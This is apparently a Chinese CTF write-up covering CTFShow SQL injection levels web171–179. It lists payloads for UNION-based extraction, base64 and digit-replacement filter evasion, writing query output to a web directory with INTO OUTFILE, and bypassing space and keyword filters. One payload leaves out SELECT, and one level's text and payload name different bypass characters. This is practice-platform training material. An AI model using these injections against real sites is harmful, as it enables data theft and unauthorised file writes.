CTFShow sql注入
参考文章:
https://www.jianshu.com/p/2a374b81d5e7
http://t.csdn.cn/zedsJ
https://blog.csdn.net/solitudi/article/details/110144623
web171
payload语句
1' or username='flag'--+
题目已经提供了我们select查询语句,我们只需要根据该语句进行拼接即可。
该sql语句由三部分组成,可以发现这里是字符型注入,要注意引号的闭合。
sql语句的第一部分
select username,password from user where username !='flag' and id = '
sql语句的第二部分
$_GET['id']
sql语句的第三部分
'limit 1;
web172
这里只有两个回显位,分别是用户名和密码。
这题的加了个判断,如果返回的数据里username='flag'
,则查询失败。所以这里对返回的username
字段进行了加密。
payload语句:
-1' union select to_base64(username),password from ctfshow_user2 where username='flag'--+
web173
这里的联合查询,反而需要带上1了,不知道为什么。
-1' union select 1,2,3--+
payload语句
-1' union 1,to_base64(username),password from ctfshow_user3 where username='flag'--+
web174
跟着套路走,老规矩先来联合查询一下。
-1' union select 1,2,3--+
结果不理想,报错了,再换一个吧
-1' union select 2,3--+
这次的返回结果是无数据,至少不是报错了,无数据说明查询成功了但是结果被过滤了,正则表达式过滤flag和数字
再换一个
-1' union select null,null--+
因为null,所以返回的列表是空空如也。
过滤了数字该怎么办?参考网上哪些大佬们的wp,把数字先进行替换,之后再利用脚本替换回来。
payload:
-1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(username),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ'),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH'),'9','numI'),'0','numJ') from ctfshow_user4 where username='flag' --+
py脚本
import base64
flagstr = "YnumCRmcnumBhvdnumCtlMDhhMDBiNynumAhZmUwLTQxYTItOTAnumENCnumJnumAMnumBMyZGMnumEYWEzOWJnumI"
flag = flagstr.replace('numA', '1').replace('numB', '2').replace('numC', '3').replace('numD', '4').replace(
'numE', '5').replace('numF', '6').replace('numG', '7').replace('numH', '8').replace('numI', '9').replace('numJ', '0')
print(base64.b64decode(flag))
web175
过滤了ascii码表的0-127所代表的字符。
这里的思路是不把flag直接输出的网页,而是保存在服务器的一个目录下面。
payload语句:
' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt'-- -
web176
自web176开始,就开始有过滤了。
大小写过滤
-1' Union seleCT 1,2,(selecT`password`fRom`ctfshow_user`Where`username`='flag')--+
或者 万能密码
1' or 1=1--+
web177
过滤了空格
使用/**/
,%0a
换行,%0d
回车 可以绕过空格过滤
%23的含义是#
-1'union/**/select'1','2','3'%23
-1'union/**/select'1',(select`password`from`ctfshow_user`where`username`='flag'),'3'%23
web178
过滤了空格和*,所以不可以使用/**/
了。
用%0a
-1'union%0aselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3'%23
web179
过滤了空格和*,%0a
,%0d
使用%0c
换页符,试了好多,其他的都不行
-1'union%0bselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3'%23